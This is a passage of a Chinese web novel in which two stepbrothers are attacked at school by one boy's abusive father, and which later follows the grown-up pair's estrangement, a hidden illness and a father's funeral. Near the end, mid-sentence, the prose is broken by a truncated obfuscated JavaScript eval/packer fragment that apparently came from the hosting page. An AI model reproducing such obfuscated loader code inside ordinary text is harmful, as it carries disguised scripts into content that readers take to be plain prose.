方谕声音发哑低沉,警惕又满含敌意,放在陈舷胳膊上的手抖得更厉害了。 空气僵了瞬。 男人不以为意,哈哈笑着:“都长这么大了,我差点认不出来。快点,来,把你妈电话告诉我。” 他拿着手机往方谕跟前怼过来,笑得眼睛都眯了起来。 陈舷本能地感到不妙。他扒着旁边的桌子边,往后退了退,把方谕往后挡。 他偷偷摸摸把胳膊伸长,不动声色地往高鹏身上怼了一把。 高鹏秒懂。 他故意哆哆嗦嗦地拉着椅子,被吓得不轻似的,往后退了两步——好在这男人没看他,一双眼睛只死死盯着方谕。 高鹏赶紧偷偷摸摸地溜了。 “小鱼。” 男人语气依然平和,脸色依然慈祥,但隐隐有些不耐烦了,“快点,你妈手机号,你还能不知道?我找你妈有事。” 方谕呼吸急促地喘起来,手都深深抠进陈舷胳膊的皮肉里。 “你要她的电话干什么?” “关你屁事,”男人说,“拿给我,快点。” “那是我妈,当然跟我有关系。”方谕说,“你们离婚了,你找她干什么。” 男人脸上的笑意骤然消失。 他表情阴沉下来:“你他妈少废话,狗几把杂种玩意儿,到底给不给?” “不给。” 男人骂了一句“操”,把手机啪地往桌子上一摔,抬手就抓起方谕的衣领子。 方谕被男人拽了过去,四周桌椅撞得噼里啪啦一阵响。 男人脸色毫无波澜地抬手,一拳就要砸到方谕脸上。 陈舷瞳孔一缩,立刻把男人的手拽住:“你干什么!?” 男人啧了声:“少管闲事!” 他把手一扯,没能把手从陈舷手里扯开。 陈舷死死拉着他:“什么闲事,我是他哥!他妈现在是我妈!” 男人一怔。 他看了看陈舷,又看了看方谕。 方谕死死瞪着他。 男人松开手,难以置信道:“你妈又结婚了?” 方谕紧抿着唇,并不说话。 男人噗嗤一声笑了,笑得脸上皱纹堆堆叠起,前仰后合地往后踉跄退了半步,抬手指着他俩,手指头在他们俩之间来回转了好半天。 “我说呢!”他拍了好几下大腿,哈哈笑得声音都沙哑,“我说呢,怎么你妈那个死破鞋突然要跟我离婚,连手机号都换了!感情是在外头搞了个男的,是吧?啊?” 一听这话,方谕难以置信地骂他:“你说话能不能讲点道理?!是你打她!是你莫名其妙说我不是你亲生的——” “废话!”男人朝他吐了口口水,“你也不照镜子看看,你浑身上下哪儿像我!?” 男人正要继续往下骂,教室外头传来一阵噔噔的急促脚步声。 新班主任和几个男老师一块儿进来了,高鹏跟在最后面。陈舷松了口气,心里暗暗给高鹏点了个赞。 “这怎么回事?”新班主任走进来几步,“你是哪位同学的家长,怎么进学校里来的?” 男人眉头一松,对着这群老师咧着嘴一乐:“我不能进来?” 新班主任脸色难看。 陈舷拽着方谕走出座位,拉着他往后退,退到了一个还算安全的距离。 新班主任说:“并没有说您不能进来,只是学校现在是工作阶段,进来的每个人,门卫都会给办公室打电话,有许可才会放行。可能是学校的门卫疏忽了,您先来办公室吧,有事我跟您慢慢交代。” 男人抬手用力挥了挥。他动作幅度很大,抬手时就像要扇人巴掌似的。 他意味深长地、语气抑扬顿挫,不容置喙地高声说:“用不着,用不着!我不麻烦你们!我呢,我今天来,也没有什么事。” 男人指了指方谕:“我实话跟你说,老师,我是他爸,我就是来找他要他妈手机号而已,没什么事,不打扰你们了啊,都散了吧散了吧。” “来,方谕,”男人转身拿起刚摔在桌子上的手机,又是一脸和蔼的笑,“把你妈电话告诉我,快点,别耽误你们老师。” “滚。”方谕阴着脸说。 “别逼我揍你。”男人说,“快点!” 方谕不吭声,他把陈舷推到一边去,只死死地瞪着男人,眼睛里一片怒恨。 男人嗤笑一声。他扬扬脑袋,低低骂了几句,把手机往兜里一塞,抓起旁边一把空椅子,朝着方谕走了过去。 椅子在地上划出刺耳的声音。 “!?我操!” 尚铭扑了上来,抓着他手里的椅子就往后拽,“你拿椅子干什么!你要打人吗!老陆!!” 陆艺伟赶紧也冲上来,抓住男人另一只手,把他用力往后扯。 陈舷重新拉住方谕就往外跑。 方谕踉踉跄跄地被他拽了出去,不知怎么,他僵得像块木头,两眼还死死瞪着男人,眼睛瞪得通红。 教室里又乱成个菜市场。 一群男生蜂拥而上拉着男人,男人气得破口大骂,还指着方谕怒骂他是个狗杂种。 “费了死劲儿,给老子就生个小白脸!男不男女不女的玩意儿,长的就跟你那死妈一个样,娘们唧唧的,也有脸说是我生的!”男人大骂,“还离婚!你妈跟我离婚不就是心虚吗,狗屁玩意儿,什么儿子随妈,我看就是跟外头的野男人生的!” 话越骂越过分,越骂越不堪入耳。方谕浑身开始哆嗦,呼吸都不稳了,张嘴就想回骂,陈舷赶紧拽了一把他的衣领:“快走!” “……” 方谕不吭声了。 陈舷把他拉出教室去,关上了门。还没来得及松口气,就听尚铭一声尖叫:“卧槽!” 陈舷回头,身后刚关上的教室门突然碰地被拉开。 门一开,男人狰狞地一拳砸了上来。 陈舷眼前一黑,扑通倒到了地上。 “哥!” 他听见方谕撕心裂肺地喊了他一声。 陈舷脑子里嗡嗡的,脸上痛得他好一阵懵。他颤颤巍巍地爬起来,一摸鼻子,摸了一手心的血。 突然,一阵尖叫声。 陈舷回过神来,抬头一看,就看见方谕居然朝着男人冲了上去,也一拳头,猛地砸在对方脸上。 这一拳下去,就彻底乱套了。 叫的叫跑的跑喊的喊打的打拦的拦,四面八方什么声音都冒出来了,干什么的都有。那男人被一拳揍到退到墙上,也怔愣了会儿,望着方谕呆了半天。 他大约是没想到,小沙包会还手了。 他鼻子里也流了血。男人抹了一把,低头看看手心里的血,气笑出声来。 方谕挡在陈舷面前,陈舷呆呆抬头,看见他喘气喘得肩膀都起起伏伏,好像一头被碰了逆鳞的、愤怒的小兽。 “本事了,方谕,”男人朝他笑,撸起袖子来,“他大爷的,敢打你爸……” “谕哥!” 男人话还没说完,就被打断了。 高鹏拽开放扫把簸箕的保洁柜,从里面拿出一堆家伙。三个人高马大胖瘦不一的男学生一手拿着一个,扛着兵器就跑了出来。 尚铭跑在最前面。他气得脸红脖子粗,嚷嚷着:“我要打你爹了!敢打我兄弟,是我老子都不行!你告诉我,能不能打!?” 方谕深吸一口气。 “打。”他说。 陈舷:“……” “打!敢欺负我兄弟!不想活了!!”尚铭嗷嗷叫。 ……真是荒谬的少年时代。 几个人冲了上来,对着男人就一顿胖揍。陈舷被一拳头打得脑子里一片空白,痛得整个人都是懵的。他坐在地上,就看见处处一片混乱,空气里的粉尘飘飘浮浮,自己一群兄弟正狂殴这个男人。后面有学生被吓得尖叫,有学生被吓得退后,老师们大惊失色。 真是,荒谬的 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医院的白炽灯惨白地洒在地上,空气里飘着消毒水和药水的味道。陈舷仰头看着灯,好半天回不过神来。 “小舷。” 陈舷低头,方真圆不知道什么时候回来了。她一脸担忧地坐到陈舷身旁,关切道,“头还疼吗?” 陈舷摇了摇头。又仔细品了品脑袋的感受——还是有点疼。 于是,他又点了点头。 方真圆苦笑了笑:“到底疼还是不疼呀?” “我怎么在这儿?”陈舷问她,“不是刚刚还在学校吗。” “傻呀你,我早把你从学校接走了。”方真圆说,“下午一点半我就去接你了,这都五点多了。” 是吗? 陈舷望了望身后窗外,外头倒是真的天黑了。 我靠,他失忆了。 “医生说你有点脑震荡,可能反应会迟缓,看来是真的。”方真圆伸手,疼惜地揉揉他的脑袋,“真是的,他下手越来越狠了。” “谁啊?” “……周延。”方真圆抿了抿嘴,犹豫地权衡片刻后,“反正你迟早都要知道,我就先告诉你了。小舷,你也知道,我跟你爸爸是二婚,在你爸爸之前,我嫁给的第一个男人,是个混蛋。” “就是你今天见到的那个男人,有印象吗?” 这个陈舷记得,他点了点头。 方真圆收起手,眼神感伤起来:“他叫周延。人家都说,女人结婚就是豪赌,真是一点儿都没错。我第一次结婚时走了眼,嫁给了他。婚后,他很快暴露了本性,没多久出轨了一个女人,又开始又赌又嫖……后来生了小鱼,他又看小鱼不顺眼。” “小鱼长得像我,没怎么像他。那孩子打小开始就白净,周延就嫌他没有男子气概,说我是和外面的野男人生的。” “他自己不干净,就看我也不干净。”方真圆说,“他打小鱼,也打我。我总以为他会变好……他其实在结婚前就又嫖又赌。没结婚的时候,我以为结了婚就好了,结了婚以后,我又以为怀孕了就好了……” “她们都是这样说的呀,她们说男人就是这样。” “所以我以为他能收心。怀孕了他还没有好,我就想有了孩子就好了,孩子大了就好了,做了亲子鉴定,他信了就好了。” “可他一直没好,我终于反应过来,要放手了。” “我把小鱼交给他外婆,和这个男人离了婚。过程也很不容易,我们在法庭上掰扯了好久。”方真圆笑着,“还好,也不算很晚。那时候小鱼才四五岁,很多事应该都不记得。” 陈舷没吭声。 他钝痛的脑子回过些神来了,虽然还是一阵一阵地嗡嗡着,鼻子也很痛。 他抬头,又望望医院天花板上惨白的灯。 五岁,有点大了吧。 他想。 至少陈舷六岁时生的重病,他自己是能清楚记得前因后果的。 “小鱼呢?”陈舷问。 “小鱼回家了呀。”方真圆说,“你忘了,你出事之后,我跟你爸爸就去了学校,你爸爸让我带你来医院,他说会先把小鱼送回家,然后去派出所跟周延调解。” “……小鱼一个人在家吗?” “是啊。”方真圆说,“没事的,他以前也经常一个人在家。” 21.医生 七八点的时候,陈舷才从医院出来。医生不放心,又给他输了液,嘱咐他一定要来复查以后,才把他放走。 上了车,陈舷打开副驾驶上头的镜子看了看。 自己这一张帅脸挂了彩,鼻子上贴了医用贴布,旁边脸上也有一块。 陈舷不懂:“我脸上怎么还有伤?我不是被一拳头砸到鼻子了吗?” 后来周延也没动他。 脸上哪儿来的伤? “你忘了?你们老师去拉开人的时候,你也凑过去了。结果大家打的急眼了,小鱼也气疯了,都不愿意收手。你过去一拉,小鱼没注意,一不小心就推了你,也打到了你一下,就打到脸了。”方真圆说着说着,内疚起来,“对不起啊,小舷。” “嗐,没事。”陈舷乐起来,“谁没挨过打,算我替他挨的了。” 方真圆本还想再说两句,看他大方地乐起来,声音一顿,苦笑起来。 “是妈对不住你。”她说,“走,去给你买好吃的。” 方真圆开车带着他,去附近的小市场里买了很多吃的喝的,才回了家。 陈舷本想帮她拎一些,可袋子刚拿到手上,方真圆就伸手拿了过去。 她很不满地、带着嗔怒,瞪了他一眼。 “你受着伤呢,这么懂事干什么。走了,快上去,妈给你做吃的。”方真圆把左手的袋子交到右手上,拉起他的手臂,“快来,我给你煮粥喝。” 陈舷跟着她上了楼。 开门进了屋子,方真圆喊了几声方谕,没见回应。 屋子里一片死寂。 她转身进了厨房去,没多在意自己亲儿子,只对陈舷说:“他大概又把自己关起来了,打小就这样,真拿这孩子没办法。你先去躺着吧,你还受着伤呢。我去给你煮瘦肉粥喝,好了我就去叫你。” 陈舷呆呆地应了声好。 他脑袋还是有点疼。 打开卧室房门,陈舷躺在自己的床上待了会儿,头疼没见好。他闭上眼,刚迷迷糊糊地有点困,方谕的模样反倒忽然在一片黑暗里浮现眼前。 他想起方谕中午时挡在他面前,一拳砸在亲爹面门上——又想起方谕抓着他呼吸急促,语气颤抖。 陈舷突然有点睡不着。 翻了几个身,陈舷还是心神不宁。他干脆摸索着坐起来,翻身下床,趿拉着拖鞋,出了自己的房间,走到旁边方谕这间门前,敲了敲他的屋门。 没回应。 陈舷又敲了两下,整个人趴在他门上,有气无力地叫他:“小鱼——” 还是没回应。 “小鱼,”陈舷嘿嘿笑起来,学着那年很火的一个迪士尼电影,蹲下去贴着门锁,贱兮兮地唱起来,“你想不想堆个雪人——” 仍然没动静。 “……太不给你哥面子了。”陈舷不高兴地撇撇嘴,又啪啪敲了两下门,“你哥都唱歌了,而且脑袋还疼着呢。不是哥说你,公交车都有老弱病残孕专座,你也得懂得一下照顾病患……咦?” 陈舷不小心挨了下门把。 门吱吱呀呀往后打开,开了条小小的门缝。 门没锁。 ……一般方谕也不锁。 对着打开来的一条细小门缝,陈舷沉默片刻,还是凑了过去。 里头一片漆黑,没开灯。 陈舷扒着门缝,又开始无常索命似的呼唤:“小鱼——小鱼呀——” 方谕还是没回应。 陈舷不由得陷入深思。 毕竟未经允许就进别人的房间,真的是件有点没素质的事情。 就看看他在不在而已。 陈舷不干别的,就进去看看他在不在。 下定决心,陈舷站了起来,把门推开,走进方谕的房间。 屋子里一片漆黑,什么都看不见。 陈舷打开屋里的灯。灯光落下,照亮房间。房间空荡荡的,桌子上摊着几本书和打开来的本子,床单还皱巴巴的,枕头斜斜地歪在床边上。 真是不在。 出门了? 陈舷“唔”了声,伸手关上灯,抓住门把,刚要离开,忽然一声咔哒声,从屋子里传了出来。 陈舷顿住。 他再次望向屋子里。灯还没关,外头方真圆在厨房里咚咚锵锵忙活着的声音不断。 屋子里一片寂静。 陈舷重新打开灯。 他走进屋子里,往声音发出的地方一看,看见方谕的衣柜底下堆满乱糟糟的一堆衣服,像是被从衣柜里全给一鼓作气扒拉出来的似的。 柜门下边还露出一块被夹着的衣服边角料。 陈舷愣了愣,伸手拉开衣柜。 里面的人一抖。 陈舷怔住了。 方谕就在里面。他抱着膝盖坐在衣柜里,缩成一团,脑袋埋在膝间,一声不吭安安静静。 “……”陈舷笑了出来,“你在这儿干什么呢?” 方谕慢慢抬起头。 他通红的双眼跟着抬起,湿漉漉地看向陈舷。 陈舷心胸一震。 那之后很多年,他都不知道该怎么形容此时此刻。衣柜放在角落里,只拉开半扇门的柜子里进不来很多光。好像一个小笼子的衣柜里,方谕躲在昏暗的地方,红着眼睛抬起头,看向他。 陈舷始终说不清方谕这时看向自己的眼睛,他像个被打怕的很小很小的小孩,无措得不知该往哪儿去。他看着他,眼睛里一片泪光,太多的说不清的东西在那双湿漉漉的眼睛里绞杂着。 陈舷对着他呆了片刻,转身坐到衣柜边边上。 “怎么了?”他问,“怎么藏在这儿,我叫你你都不应我。” 方谕没吭声,又把脑袋低下去。 “怕我怪你呀?”陈舷轻声问他。 方谕还是没动。 “没事,这么点儿伤,再说你也是看我被打才急眼的,这算误伤,不怪你。”陈舷说,“别怕,你哥爱你。” 方谕放在胳膊上的两只手攥紧了,攥得一阵阵发抖。 陈舷转身过来,也钻进衣柜里。衣柜里很小,他往前一探身,就压到了方谕身上。 他两手捂住方谕的耳朵,把他的脸抬起来。 方谕一怔,跟着他的力气抬起脑袋。 “不怕,”陈舷说,“有哥呢,不怕。” 方谕怔怔地望着他。 陈舷脸上还贴着贴布,脸上伤痕累累。他捂着他的耳朵,捧着他的脸,在一片昏暗里弯着眼睛,朝他笑着。 “哥给你唱歌吧,怎么样?” 陈舷这么说着,也缩到柜子里,关上了柜门。四面八方都黑下来,狭小的空间里,陈舷抱住他的膝盖,身形扭曲地靠在他身上,声音都听得出吃力,但还带着股非要这么干的倔。 他嘿嘿乐着,笑声在幽闭的黑暗里发颤。 “哥给你唱虫儿飞,”陈舷说,“我小时候生病,难受得想死的时候,我妈就给我唱虫儿飞哄我。” “……你什么病?” 方谕终于说话了。他吸了口气,声音哑得像还要再哭。 “六岁的时候胃炎,吃什么都吐。都是以前的事了,现在健康得能去报名大胃王。”陈舷说,“好了,别说话了,听哥给你唱歌。” 陈舷清了清嗓子,边一下一下拍着他的膝盖,一边轻轻唱了起来。 “黑黑的天空低垂,亮亮的繁星相随……” 黑黑的天空低垂,亮亮的繁星相随。 虫儿飞,虫儿飞…… 陈舷哄小孩似的一下一下拍着他,给方谕轻轻唱着歌。幽闭的黑暗里,声音十分清晰,氧气都有点稀薄。 方谕很久都没说话,所以陈舷把这首歌翻来覆去唱了四五遍。 “哥,”方谕忽然说,“你能跟我……一辈子,都在一起吗。” 这话突如其来。 陈舷声音一顿,懵了一会儿,没说话。 “你别离开我。”方谕讪讪补充,很没底气地嘟囔着重复,“你,你别离开。” “我不走。”陈舷答应着,柔声问,“怎么突然这么说?” “没有,就是刚刚,突然就想,你真好。”方谕说,“我想一辈子都跟你呆着。” 陈舷忽然沉默了。 半晌,他应下说:“好。” 好。 好…… 吱呀一声,柜门打开。 灯光鱼贯而入,方谕浑身一激灵,从梦里惊醒过来,他啧了声,不情不愿地睁开沉重的眼皮。 马西莫无奈的声音在柜门外边响起:“老板,你怎么又跑衣柜里 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只是多年过去,物是人非,陈舷已经不会再来打开他的衣柜。 怀里有什么东西硌了他一下。方谕低头,才看见手里居然有个红酒瓶。 他应是抱着红酒瓶钻进衣柜里,边喝边睡着的。 定睛一看,瓶里还有半瓶酒。方谕仰头又闷了一口,才从衣柜里栽栽愣愣地走出来。刚迈出一步,他身子一歪,赶紧扶住旁边的墙,差点没跌。 马西莫吓了一跳,赶紧过来扶他。 方谕这次没推开他,酒真的喝多了,他脚步不稳。 把方谕扶着坐到椅子上,马西莫又回头去拿醒酒汤。方谕拿过去,一口气闷了半碗,头疼才好些。 他慢慢回想了起来——在五星级餐厅里见过陈舷,他就回来了。他本来想一脚油门回酒店,但方真圆非说他回来不容易,哭着求他回家过夜。 方谕拗不过,才回来了。但他心情不好,回来的路上买了几瓶红酒,关在房间里喝了几杯,后来越喝越烦,干脆对瓶吹。 就给自己吹进衣柜里了。 马西莫出去还了围裙,回来时拿了一盘新洗的车厘子樱桃。 “伯母给你的,老板。”马西莫说。 “放那儿。” 马西莫把车厘子放下了。 他转身去收拾衣柜,把被扒拉到地上的衣柜又一件一件挂了回去。 他一声不吭地收拾衣柜。方谕盯着他的背影出了会儿神,恍恍惚惚地把他幻视成了陈舷——那天陈舷也是这样,方谕从衣柜里出来以后,他让他坐着去,自己去给他收拾衣服去了。 明明陈舷比他伤得多。 陈舷却不让他动。他那时候特别高兴,边哼歌边给他挂衣服。 方谕越想越心烦意乱。 餐厅里陈舷朝他笑着,又把他骂了一遍的模样浮现眼前。 砰一下子。 马西莫吓了一跳。他拿着衣服一回头,看见方谕在椅子上往后一仰,闭着两眼一脸不悦,桌子上的碗撞在木头置物架上,还在打着小圈转。 怎么摔碗呐这人。 马西莫嘟囔几句,不敢说出口,毕竟人家是老板。 就像他这几年一直没敢问,方谕怎么动不动就喜欢钻衣柜。 可能天才都有怪癖。 这可是毕设拿出去就被大师看上,没两年就有自营奢侈品牌,成立工作室后转眼就风生水起,没几年就在时尚界站稳脚跟的大拿,有怪癖也正常。 他至少不是什么异食癖和别的棘手的怪癖,钻钻衣柜而已,也不伤天害理,马西莫觉得这怪癖还挺省心的。 马西莫放下手上的衣服,过去把碗收了。 “话说回来,老板,”马西莫犹豫了下,“你睡的时候,伯母接了个电话。” 方谕毫无耐心,抬手给自己按按太阳穴:“什么电话。” “不知道,一接起来,对面就很暴躁,说自己是协平医院的消化科医生,叫伯母找陈舷来。”马西莫说。 方谕摁头的手一顿。 “陈舷,不是那个人吗?”马西莫歪歪脑袋,“我们去给他送过材料的那个人,很瘦的那个,对吧?” 22.预定 方谕没吭声。 他半抬起眼皮,一声不吭地望向窗外。外头天黑了,不知什么时候下起了雪。是场很大的风雪,和方谕十四岁那年第一次看见雪的那个晚上一样。 那时候陈舷还在他身边。 那时候陈舷对他突如其来的荒谬要求没有任何抱怨。方谕说想看,他就站起来拿衣服,带着他下去看。 一喝酒思绪就到处乱飘,什么乱七八糟的事都进脑子来。 方谕甩甩脑袋,把这些从前的事甩出脑子去。他缓了缓神,问马西莫:“那个电话说找陈舷干什么了吗?” “说了,他声音还挺大的,我都听见了。他叫陈舷回去,说他什么身体自己不知道吗,还敢往外跑。”马西莫说,“那人说话很难听,又朝伯母喊什么,知不知道陈舷有病,都十几年了还不放过陈舷,有完没完……后头的我没听见,伯母转身走了。等她回来,我问她怎么回事,她就说是诈骗电话。” 方谕沉默地转开眼睛,望向天花板,一双眉眼微沉。 “应该就是诈骗电话,我隐隐约约还听到他说什么住院费。”马西莫嘟囔着。 方谕慢慢坐了起来。 “关我什么事。” 他回头把那盘车厘子拿过来,一脸冷漠地拎起一颗,塞进嘴里。果子皮肉爆开,鲜甜的汁水在他嘴里蔓延。 关他什么事。 就是,关他什么事。 方谕一颗一颗吃着樱桃,片刻都不停下。不合季节的甜味在嘴巴里越来越甚,甜得发齁,几近令人作呕。 从前种种不合时宜地漫上心间来。 【堆雪人不?】 【走,哥给你堆一个。】 【你要叫我一辈子哥!】 【不怕,有哥呢,不怕。】 陈舷的脸一幕一幕在眼前闪过去,有他陪他看雪那时,有他打开衣柜的那时,有他拉着他冲向公交站的那时,有他面对周延挡在他面前那时,有他把围巾在他脖子上绕了几圈,跟他同系一条围巾那时。 无数的从前向他涌来,无数的往昔将他淹没。那些下雪的下雨的天晴的寒冷的滚烫的,忽然都化作铺天盖地的骇浪,一幕一幕将方谕裹进海底,剥夺了所有的氧气。 方谕停下往嘴里送果子的手。 嘴里已经甜得想吐。他捏着果子的茎,沉默很久。 他又想起那天。 那个闷得人喘不上气的深冬,屋里暖气大得闷热。原本一直都答应他不会松手也不会分手的陈舷,前天晚上还轻轻笑着跟他说“没事的小鱼没事的”的陈舷,第二天突然疯了似的,指着他说他是个狗杂种。 方谕盯着手里黑红的果子,在回忆里又陷了半晌。 【都十几年了还不放过陈舷,有完没完?】 马西莫陈述的句子像把利剑,突如其来的把一切都捅了个对穿。 方谕眼睛一眯,站起来,把嘴里嚼烂的果肉全都吐进了床边垃圾桶里,然后走了出去。 “老板?” 马西莫不明所以,跟了上去。 方谕拧开门把,出了卧室。 方真圆正在外头的客厅里看电视,他外婆和外公也都在,三个人在沙发上七扭八歪,十分巴适。 外公外婆是特地为了陈胜强的葬礼来的,在葬礼结束之前,他们都会住在这个家里。 见他出来,方真圆朝他挥了挥手:“醒了吗?过来陪妈妈看电视吧,下午喝这么多酒干什么?” “心情不好。” 方谕简单回答,走了过去,问她,“下午你接了个电话?” 方真圆没反应过来:“什么?” “我听说,你下午接了个医院的诈骗电话。”方谕说。 “啊——是接了一个,”方真圆明白过来,仰头朝他笑了笑,又低头搓了搓自己的指甲,“现在骗子还真是花样多,那电话打进来,居然说咱家人住院了,让我去汇住院费。” “说的不是陈舷?” “什么?” “……”方谕深吸了口气,“那个诈骗电话,说的不是陈舷要住院?” “没有啊,你听错了吧。”方真圆疑惑道,“说的是你外婆要住院呀,所以我才听出来是诈骗电话。” 马西莫在后头愣住了。 方谕讳莫如深地侧头看了马西莫一眼,没说什么,只回头又问方真圆:“还有吃的吗?” “有,锅里有粥。”方真圆说,“你去吃吧。” 方谕转身走了,没再多说。 马西莫连忙辩解:“不是,老板我……!” 话都没说半句,马西莫就被方谕迎面一胳膊锁住喉,连拉带拽地往厨房那边带了过去。 进了厨房,远离了客厅,方谕才松开他。 “老板!”马西莫清了清嗓子,迫不及待地喊冤,“冤枉啊老板,老板我真的听到了,伯母那个电话里,那个医生真的说的是……” “闭嘴,我知道。”方谕冷冷打断他。 马西莫愣了:“啊?” “我妈在撒谎。”方谕往四周看了一圈,边找寻着什么,边淡淡道,“装傻充愣,她最擅长。但是每次都会装不经意地笑笑,然后低头搓搓指甲。每次都这样,她自己还不知道自己有这个习惯。” “……” 马西莫骇然。 方谕往厨房台子最里面一看,看见了他想找的东西。 他走过去,把那东西拿起来。 那是个手机。更准确的说,是方真圆的手机。 方谕摁亮手机,娴熟地输入一串密码,解开了锁。 他嗤笑了声。 方真圆还是老样子,密码是她自己的生日。 他点进电话。通话记录里最近的一通,是个异地号码,归属地是隔壁的江城。 方谕拿出自己的手机来,将这串号码打了出去。 电话里嘟嘟半天,无人接听。 方谕皱皱眉。 他又试着打出去几次,都没人接,嘟嘟的等待接听声像个无尽的漩涡。 等第四通打出去都没回应,方谕放下了手机。他闭掉电话,转头看向马西莫:“那个医生还说了什么没有?” “没什么,就一直在说叫陈舷回去。”马西莫说。 方谕眼眸微暗下来,那双丹凤眼本就凶狠发冷,这下更是雪上加霜。 医生都特地打电话来。 陈舷原来在住院? 是接到老陈死了的电话,从医院里跑出来的? 消化科,胃又出问题了? 方谕思索着,转身靠到厨房的台子上。摸了摸下颌线,凝重地思索了会儿。 马西莫不知道这里面的个中细节,但见方谕信了,他就知道自己的工作已经做到位了。 肚子咕咕叫了两声,马西莫低头,摸了摸自己的肚子。他起身,摇头晃脑地去了另一边的灶台上,打开灶上锅的锅盖,探头往里看了一眼。 一锅的瘦肉粥。 马西莫饿了,于是去拿了两个空碗,舀了两碗香喷喷的粥。 马西莫做了方谕五年的贴身秘书,方谕早习惯了他的存在。 所以他自然而然地就无视掉了四处乱晃的马西莫,自言自语起来:“他六岁就有胃炎来着,是胃炎复发了?胃炎也需要住院吗?” “看情况吧,严重当然要住院。”马西莫把一碗热粥塞进方谕手里,“给你,老板,酒喝多以后喝点粥也好。” 方谕自然而然地接过碗,没把他这话听进耳朵里,也没动,眉头紧皱地继续深想:“可跑了个住院的病人而已,医生干什么还要追着打电话?” “要是情况严重,又还在治疗中的话,突然跑掉,当然要追着问了吧。”马西莫咕噜噜地喝了口粥,然后满足地喟叹一声,“万一死外面的话,那多糟糕,到头来还是医院的责任。” “胃炎怎么会死。”方谕嘟囔了句,“可为什么电话会打到我妈手机上?” “陈舷没有接电话吧?” 方谕不语,没认同也没否定。他还微低着头,紧皱着眉思索,总觉得哪里不对。 直到马西莫大快朵颐狂喝粥的声音从旁边响起,方谕才回过神来。他一低头,终于看见自己手上不知道什么时候多了碗粥。 方谕:“……” 他又看了看马西莫,这人又去盛第二碗粥了。 方谕抽了抽嘴角,把粥放到一边去,他现在没胃口。 他转头看向冰箱上,撞见上头有个“小狗平安”的平安福冰箱贴,是一看就是闹着玩的小玩意儿。它很旧了,上头花纹斑驳,左下角破了个角。 方谕沉默了瞬。 这是陈舷买的。 当年周延跑到学校去闹事,最后在派出所被老陈挡了下来。等回家来以后,老陈心疼儿子——两个都心疼,就问他们想要什么。 他想补偿儿子,老陈觉得周延的事对陈舷来说是无妄之灾。 陈舷闻言大喜,说他从小就想要只大金毛,方谕一想,也挺想要只毛茸茸,就也点了头。 老陈便在两天后带回来一只小金毛。 陈舷叫它大毛,后来就在拼某多上买了个九块九包邮的小狗平安符冰箱贴,贴在了冰箱上。 往事又漫上心头。 方谕皱了皱眉,忽然不知道自己在干什么。真是贱的发慌,不久前这人才在餐厅雅间里又骂了他一遍狗杂种,笑话他这么多年都在痴心妄想,可一转眼听见陈舷可能身体抱恙,他就又开始担心这担心那。 都二十九岁了,方谕头一次发现自己真是不长记性。被捅过一刀就算了,居然还会巴巴的凑上去让人家多捅几刀。 他啧了声,不给陈舷想了。他爱怎么样怎么样,有病就死外面拉倒。 他活该。 方谕想着,一回头,却撞见后头上墙的碗柜里,有一对一模一样情侣碗,工整地摆在最边上。 方谕忽的哑然。 那是他十五岁时,陈舷半开玩笑半认真买回来的,他说他们是兄弟,要用一样的。 方真圆从来不记这些小事,也不想浪费,估计就是这样迷迷糊糊地留下来的。 方谕沉默地和那两个碗对视,和自己满地狼藉的十七岁对视。隔着玻璃的柜门,他看见空荡的碗里盛着的是他已经无人在意的、面目全非的腐烂青春。 “小鱼!” 方真圆在客厅里叫他。方谕收起心绪,转身出了厨房。 马西莫赶紧抬起碗,豪爽如鲁智深倒拔垂杨柳似的把粥一口闷了,擦擦嘴跟了出去。 合格的秘书要和老板如影随形。 方谕走到客厅:“什么事?” 原本瘫在两边的外公外婆都坐起来了,三个人围在沙发前的茶几旁。方谕边问边探头一看,才看见茶几上摊着个本子,上头写了很多人名。 方真圆把本子交给他:“这都是你爸爸葬礼要请来的人,妈妈都打过电话了,大多都是咱们这边的亲戚和妈妈的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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方谕沉默地回了房间,没再说话。马西莫跟他进屋,锁上了门。 第二天,葬礼的请帖都发了出去,守灵厅最后的布置也收了尾。 亲朋好友都召集好了,葬礼也急匆匆地要开始。葬礼的前天晚上,陈舷最后过去看了一眼。 下车时他捂着嘴咳嗽几下,咳出几口血来。 胃在一阵一阵抽疼,这两天陈舷的病情一直在反反复复,总是折磨他。 陈舷的药比饭吃的还多,却也无济于事,压不住病痛。 他走进守灵厅里,老方家的人也都在。陈舷打眼一扫,看见方谕正抱着胳膊在守灵厅里来回走。 看了他一眼,陈舷就收回目光,转头打量一番四周。 工作人员见他来了,叫了声“陈先生”就上前来,跟他嘟嘟囔囔说了些话。她说方真圆把门口的花圈升级了,要多付几百块钱。 陈舷无可奈何,应声说好,拿出手机来给她付了钱。 付好了钱,工作人员转身离开。 陈舷还没来得及松口气,身边又传来一阵接近的脚步。他一抬头,方真圆穿着一身优雅高贵的黑裙子,朝他走过来。 “辛苦了,”她说,“明天就是葬礼了。你……办完葬礼,打算去哪儿?” “回江城去呗,还能去哪儿。”陈舷说,“这你就不用担心了,我不会死皮赖脸留在这儿的。” 方真圆有些尴尬:“我不是这个意思。” “不管是什么意思,我都不会留的,很快就会走。”陈舷说,“你死了的老公估计也不想见我。知道送终钱居然还是我出的,这会儿估计在下边抱着马桶吐呢吧。” “……” 陈舷转头又看看四周:“这个厅也没什么问题,那我就等着明天吃席了。我走了,你想怎么弄就怎么弄吧,要钱再跟我说。” 陈舷走了。 方真圆望着他离开,皱了皱眉,眼里涌起一阵嫌恶。 方谕慢慢停下脚步。他转头,望着陈舷又匆匆地走了。 走到门口,陈舷停了下来,他突然回过头,望了过来。 两人猝不及防地四目相对。 陈舷愣住了。 方谕居然在看他。 方谕立马又别开脸,那双丹凤眼里同样满是嫌恶。 陈舷默然了瞬,呆立片刻,还是转身推开门走了,没有再说什么。 外头风雪交加。 冷风迎面一吹,陈舷浑身的血都一凉。他骨头一僵,胃里立马更疼起来,有把电钻在钻似的。 他弯身咳嗽起来,捂着肚子缓缓蹲下身,在门旁缩成一团。陈舷咬着牙从兜里掏出一张纸巾,捂着嘴咳了会儿,再一松手,纸里已经有了一滩血。 他深吸了一口气,对着殡仪馆外的风雪长长叹了出来,发了会儿呆。 陈舷把满是血的纸巾团成一团,丢进旁边的垃圾桶里,拿出手机来,给殡仪馆发了消息。 他问:可以预约墓地吗? 